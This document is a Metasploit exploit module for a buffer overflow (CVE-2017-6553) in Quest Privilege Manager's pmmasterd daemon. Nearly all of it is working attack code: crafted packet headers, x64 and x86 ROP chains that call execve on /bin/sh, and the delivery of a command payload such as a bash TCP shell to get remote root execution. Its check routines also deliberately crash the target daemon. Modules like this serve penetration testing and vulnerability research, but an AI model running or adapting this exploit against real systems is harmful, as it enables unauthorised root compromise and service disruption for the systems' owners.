Quest Privilege Manager – pmmasterd Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow', 'Description' => %q{ This modules exploits a buffer overflow in the Quest Privilege Manager, a software used to integrate Active Directory with Linux and Unix systems. The vulnerability exists in the pmmasterd daemon, and can only triggered when the host has been configured as a policy server ( Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow condition exists when handling requests of type ACT_ALERT_EVENT, where the size of a memcpy can be controlled by the attacker. This module only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required). NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 ) as the server refuses connections coming from unprivileged ports, which in most situations means that root privileges are required. }, 'Author' => [ 'm0t' ], 'References' => [ ['CVE', '2017-6553'], ['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python perl ruby openssl bash-tcp' } }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Targets' => [ ['Quest Privilege Manager pmmasterd 6.0.0-27 x64', { exploit: :exploit_x64, check: :check_x64 } ], ['Quest Privilege Manager pmmasterd 6.0.0-27 x86', { exploit: :exploit_x86, check: :check_x86 } ] ], 'Privileged' => true, 'DisclosureDate' => 'Apr 09 2017', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(12345), Opt::CPORT(rand(1024)) ] ) end # definitely not stealthy! sends a crashing request, if the socket dies, or # the output is partial it assumes the target has crashed. Although the # daemon spawns a new process for each connection, the segfault will appear # on syslog def check unless respond_to?(target[:check], true) fail_with(Failure::NoTarget, "Invalid target specified") end send(target[:check]) end def exploit unless respond_to?(target[:exploit], true) fail_with(Failure::NoTarget, "Invalid target specified") end request = send(target[:exploit]) connect print_status("Sending trigger") sock.put(request) sock.get_once print_status("Sending payload") sock.put(payload.encoded) disconnect end # server should crash after parsing the packet, partial output is returned def check_x64 head = [ 0x26c ].pack("N") head << [ 0x700 ].pack("N") head << [ 0x700 ].pack("N") head << "\x00" * 68 body = "PingE4.6 .0.0.27" body << rand_text_alpha(3000) request = head + body connect print_status("Sending trigger") sock.put(request) res = sock.timed_read(1024, 1) if res.match? "Pong4$" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Unknown end end # server should crash while parsing the packet, with no output def check_x86 head = [ 0x26c ].pack("N") head << [ 0x700 ].pack("N") head << [ 0x700 ].pack("N") head << "\x00" * 68 body = rand_text_alpha(3000) request = head + body connect print_status("Sending trigger") sock.put(request) begin sock.timed_read(1024, 1) return Exploit::CheckCode::Unknown rescue ::Exception return Exploit::CheckCode::Appears end end def exploit_x64 head = [ 0x26c ].pack("N") head << [ 0x700 ].pack("N") head << [ 0x700 ].pack("N") head << "\x00" * 68 # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE) ropchain = [ 0x408f88, # pop rdi, ret 0x4FA215, # /bin/sh 0x40a99e, # pop rsi ; ret 0, # argv @rsi 0x40c1a0, # pop rax, ret 0, # envp @rax 0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret 0xcacc013, # padding 0x408a98, # execve, 0 ].pack("Q*") body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES body << rand_text_alpha(1600) body << ropchain body << rand_text_alpha(0x700 - body.size) head + body end def exploit_x86 head = [ 0x26c ].pack("N") head << [ 0x108 ].pack("N") head << [ 0xcc ].pack("N") head << "\x00" * 68 # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE) ropchain = [ 0x8093262, # ret 0x73, # cs reg 0x804AE2C, # execve, 0xcacc013, # padding 0x8136CF0, # /bin/sh 0, 0 ].pack("V*") pivotback = 0x08141223 # sub esp, ebx ; retf writable = 0x81766f8 # writable loc body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES body << rand_text_alpha(104) body << ropchain body << rand_text_alpha(0xb4 - body.size) body << [0x50].pack("V") body << rand_text_alpha(0xc4 - body.size) body << [pivotback].pack("V") body << [writable].pack("V") body << rand_text_alpha(0x108 - body.size) head + body end end |